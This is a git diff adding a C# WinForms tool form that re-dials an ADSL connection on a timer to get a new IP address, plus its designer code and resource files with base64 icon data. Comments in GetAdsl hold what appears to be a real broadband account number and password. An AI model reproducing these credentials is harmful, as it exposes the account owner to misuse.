/4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/ChangeIPForm.cs b/TEMUKJD/KJDForms/ToolForms/ChangeIPForm.cs new file mode 100644 index 0000000..2e357c5 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/ChangeIPForm.cs @@ -0,0 +1,172 @@ +using AllBase; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + public partial class ChangeIPForm : LRBaseForm + { + public ChangeIPForm() + { + InitializeComponent(); + MaximizeBox = false; + } + private AdslHelper adsl = null; + public static Thread spanTimethread; + public AdslHelper GetAdsl() + { + string adslName = "宽带连接";//txtAdslName.Text.Trim(); + string account = txtAccount.Text.Trim();//055192515753 + string password = txtPassword.Text.Trim();//382443 + + adsl = new AdslHelper(adslName, account, password); + return adsl; + } + + //拨号 + private void ConnectionButtonX_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(txtAccount.Text.Trim()) || string.IsNullOrEmpty(txtPassword.Text.Trim())) + { + BaseMsgForm.ShowInfo("请输入账号和密码"); + return; + } + try + { + bool result= GetAdsl().Connect(); + if (result) + { + BaseMsgForm.ShowInfo("ADSL拨号连接成功!"); + } + else + { + BaseMsgForm.ShowInfo("ADSL拨号连接失败!"); + } + } + catch + { + BaseMsgForm.ShowInfo("ADSL拨号连接失败!"); + return; + } + } + //断开 + private void DisConnectionButtonX_Click(object sender, EventArgs e) + { + try + { + bool result= GetAdsl().Disconnect(); + if (result) + { + BaseMsgForm.ShowInfo("ADSL断开连接成功!"); + } + else + { + BaseMsgForm.ShowInfo("ADSL断开连接失败!"); + } + return; + } + catch + { + BaseMsgForm.ShowInfo("ADSL拨号断开连接失败!"); + return; + } + } + int spanTime = 0; + bool startFlag = false; + //定时 + private void spanTimeButtonX_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(txtAccount.Text.Trim()) || string.IsNullOrEmpty(txtPassword.Text.Trim())) + { + BaseMsgForm.ShowInfo("请输入账号和密码"); + return; + } + CheckInt(txtMinutes, out spanTime); + if (spanTime == 0) + return; + bool ok = !startFlag; + startFlag = ok; + spanTimeButtonX.Text = "停止执行"; + if(!startFlag) + { + spanTimeButtonX.Text = "开始执行"; + spanTimethread.Abort(); + return; + } + spanTimethread = new Thread(new ThreadStart(workOn));//开始定时 + spanTimethread.Start(); + } + public string FormName = "自动拨号"; + public void workOn() + { + while (true) + { + if (!startFlag) + break; + new Thread(OnSetShow).Start(); + GetAdsl().Disconnect();//断开 + Thread.Sleep(500); + GetAdsl().Connect();//重连 + Thread.Sleep(spanTime*60*1000); + } + } + public void OnSetShow() + { + try + { + int count = spanTime*60; + while (true) + { + count--; + if (count < 0|| !startFlag ) + { + break; + } + if (this.txtMinutes.InvokeRequired) + { + this.Invoke(new Action(() => { txtSurplus.Text = count.ToString(); })); + } + else + { + txtSurplus.Text = count.ToString(); + } + Thread.Sleep(1 * 1000); + } + } + catch + { + + } + } + public bool CheckInt(TextBox box, out int d) + { + if (int.TryParse(box.Text, out d)) + return true; + BaseMsgForm.ShowInfo("请输入数字", "提示"); + box.Focus(); + return false; + } + + private void ChangeIPForm_FormClosing(object sender, FormClosingEventArgs e) + { + e.Cancel = true; + Hide(); + } + + private void ChangeIPForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + } + } +} diff --git a/TEMUKJD/KJDForms/ToolForms/ChangeIPForm.designer.cs b/TEMUKJD/KJDForms/ToolForms/ChangeIPForm.designer.cs new file mode 100644 index 0000000..2cc500b --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/ChangeIPForm.designer.cs @@ -0,0 +1,286 @@ +using LittleRabbit.UserControls; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + partial class ChangeIPForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ChangeIPForm)); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.txtPassword = new System.Windows.Forms.TextBox(); + this.txtAccount = new System.Windows.Forms.TextBox(); + this.label4 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.DisConnectionButtonX = new LittleRabbit.UserControls.ButtonEx(); + this.ConnectionButtonX = new LittleRabbit.UserControls.ButtonEx(); + this.label7 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.txtMinutes = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.txtSurplus = new System.Windows.Forms.TextBox(); + this.label9 = new System.Windows.Forms.Label(); + this.spanTimeButtonX = new LittleRabbit.UserControls.ButtonEx(); + this.panel1 = new System.Windows.Forms.Panel(); + this.groupBox1.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.txtPassword); + this.groupBox1.Controls.Add(this.txtAccount); + this.groupBox1.Controls.Add(this.label4); + this.groupBox1.Controls.Add(this.label3); + this.groupBox1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.groupBox1.Location = new System.Drawing.Point(16, 10); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(246, 104); + this.groupBox1.TabIndex = 14; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "宽带区"; + // + // txtPassword + // + this.txtPassword.Location = new System.Drawing.Point(73, 66); + this.txtPassword.Name = "txtPassword"; + this.txtPassword.PasswordChar = '*'; + this.txtPassword.Size = new System.Drawing.Size(152, 23); + this.txtPassword.TabIndex = 3; + // + // txtAccount + // + this.txtAccount.Location = new System.Drawing.Point(73, 29); + this.txtAccount.Name = "txtAccount"; + this.txtAccount.Size = new System.Drawing.Size(152, 23); + this.txtAccount.TabIndex = 2; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(19, 70); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(44, 17); + this.label4.TabIndex = 1; + this.label4.Text = "密码:"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(19, 33); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(44, 17); + this.label3.TabIndex = 0; + this.label3.Text = "账号:"; + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.DisConnectionButtonX); + this.groupBox2.Controls.Add(this.ConnectionButtonX); + this.groupBox2.Controls.Add(this.label7); + this.groupBox2.Controls.Add(this.label6); + this.groupBox2.Controls.Add(this.txtMinutes); + this.groupBox2.Controls.Add(this.label5); + this.groupBox2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.groupBox2.Location = new System.Drawing.Point(16, 131); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(246, 135); + this.groupBox2.TabIndex = 15; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "操作区"; + // + // DisConnectionButtonX + // + this.DisConnectionButtonX.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.DisConnectionButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.DisConnectionButtonX.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.DisConnectionButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.DisConnectionButtonX.ForeColor = System.Drawing.Color.White; + this.DisConnectionButtonX.Location = new System.Drawing.Point(138, 90); + this.DisConnectionButtonX.Name = "DisConnectionButtonX"; + this.DisConnectionButtonX.Size = new System.Drawing.Size(87, 27); + this.DisConnectionButtonX.TabIndex = 8; + this.DisConnectionButtonX.Text = "断开"; + this.DisConnectionButtonX.UseVisualStyleBackColor = false; + this.DisConnectionButtonX.Click += new System.EventHandler(this.DisConnectionButtonX_Click); + // + // ConnectionButtonX + // + this.ConnectionButtonX.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ConnectionButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.ConnectionButtonX.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.ConnectionButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.ConnectionButtonX.ForeColor = System.Drawing.Color.White; + this.ConnectionButtonX.Location = new System.Drawing.Point(22, 90); + this.ConnectionButtonX.Name = "ConnectionButtonX"; + this.ConnectionButtonX.Size = new System.Drawing.Size(87, 27); + this.ConnectionButtonX.TabIndex = 7; + this.ConnectionButtonX.Text = "拨号"; + this.ConnectionButtonX.UseVisualStyleBackColor = false; + this.ConnectionButtonX.Click += new System.EventHandler(this.ConnectionButtonX_Click); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(19, 61); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(43, 17); + this.label7.TabIndex = 6; + this.label7.Text = "当前IP"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(190, 30); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(32, 17); + this.label6.TabIndex = 5; + this.label6.Text = "分钟"; + // + // txtMinutes + // + this.txtMinutes.Location = new System.Drawing.Point(96, 24); + this.txtMinutes.Name = "txtMinutes"; + this.txtMinutes.Size = new System.Drawing.Size(81, 23); + this.txtMinutes.TabIndex = 4; + this.txtMinutes.Text = "5"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(19, 30); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(68, 17); + this.label5.TabIndex = 2; + this.label5.Text = "定时分钟:"; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label8.Location = new System.Drawing.Point(35, 288); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(127, 17); + this.label8.TabIndex = 16; + this.label8.Text = "距离自动重拨更换IP:"; + // + // txtSurplus + // + this.txtSurplus.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtSurplus.Location = new System.Drawing.Point(164, 285); + this.txtSurplus.Name = "txtSurplus"; + this.txtSurplus.Size = new System.Drawing.Size(49, 23); + this.txtSurplus.TabIndex = 17; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label9.Location = new System.Drawing.Point(218, 288); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(20, 17); + this.label9.TabIndex = 18; + this.label9.Text = "秒"; + // + // spanTimeButtonX + // + this.spanTimeButtonX.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.spanTimeButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.spanTimeButtonX.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.spanTimeButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.spanTimeButtonX.ForeColor = System.Drawing.Color.White; + this.spanTimeButtonX.Location = new System.Drawing.Point(154, 330); + this.spanTimeButtonX.Name = "spanTimeButtonX"; + this.spanTimeButtonX.Size = new System.Drawing.Size(87, 27); + this.spanTimeButtonX.TabIndex = 19; + this.spanTimeButtonX.Text = "开始执行"; + this.spanTimeButtonX.UseVisualStyleBackColor = false; + this.spanTimeButtonX.Click += new System.EventHandler(this.spanTimeButtonX_Click); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.groupBox1); + this.panel1.Controls.Add(this.spanTimeButtonX); + this.panel1.Controls.Add(this.groupBox2); + this.panel1.Controls.Add(this.label9); + this.panel1.Controls.Add(this.label8); + this.panel1.Controls.Add(this.txtSurplus); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(1, 33); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(281, 379); + this.panel1.TabIndex = 9; + // + // ChangeIPForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(283, 413); + this.Controls.Add(this.panel1); + this.Font = new System.Drawing.Font("华文宋体", 8.999999F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.Name = "ChangeIPForm"; + this.Text = "自动拨号"; + this.TitleText = "自动拨号"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ChangeIPForm_FormClosing); + this.Load += new System.EventHandler(this.ChangeIPForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.groupBox2.ResumeLayout(false); + this.groupBox2.PerformLayout(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.TextBox txtPassword; + private System.Windows.Forms.TextBox txtAccount; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.GroupBox groupBox2; + private ButtonEx DisConnectionButtonX; + private ButtonEx ConnectionButtonX; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox txtMinutes; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.TextBox txtSurplus; + private System.Windows.Forms.Label label9; + private ButtonEx spanTimeButtonX; + private System.Windows.Forms.Panel panel1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/ChangeIPForm.resx b/TEMUKJD/KJDForms/ToolForms/ChangeIPForm.resx new file mode 100644 index 0000000..bfcb127 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/ChangeIPForm.resx @@ -0,0 +1,408 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAQEAAAAEAIAAoQgAAFgAAACgAAABAAAAAgAAAAAEAIAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAobIAPKKzAJegsADXnrAA85yu + AP2crQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/nK0A/5uuAP2frgDzoLEA1aGyAJOfsQA4AAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACdrgA8obQAvaW2 + AP+qvAD/o7QA/56vAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nq8A/6O1AP+qvQD/pLUA/6Kz + ALegrgA2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH9/ + AASfsQCPpLYA/6i6AP+erwD/nK0A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/nK0A/56vAP+puwD/obMA/5+vAIcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAJaiABagsQDDrb8A/5+wAP+crQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nK0A/5+xAP+tvwD/oLIAu4+fABAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ2pABSgsgDVqr0A/5ytAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na0A/6u+ + AP+gsADNmaoADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJmZAASesADHqr0A/5ytAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+crQD/nK0A/5ytAP+crQD/nK0A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+crQD/q74A/52tAL0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACaqwCTrb8A/5yt + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + 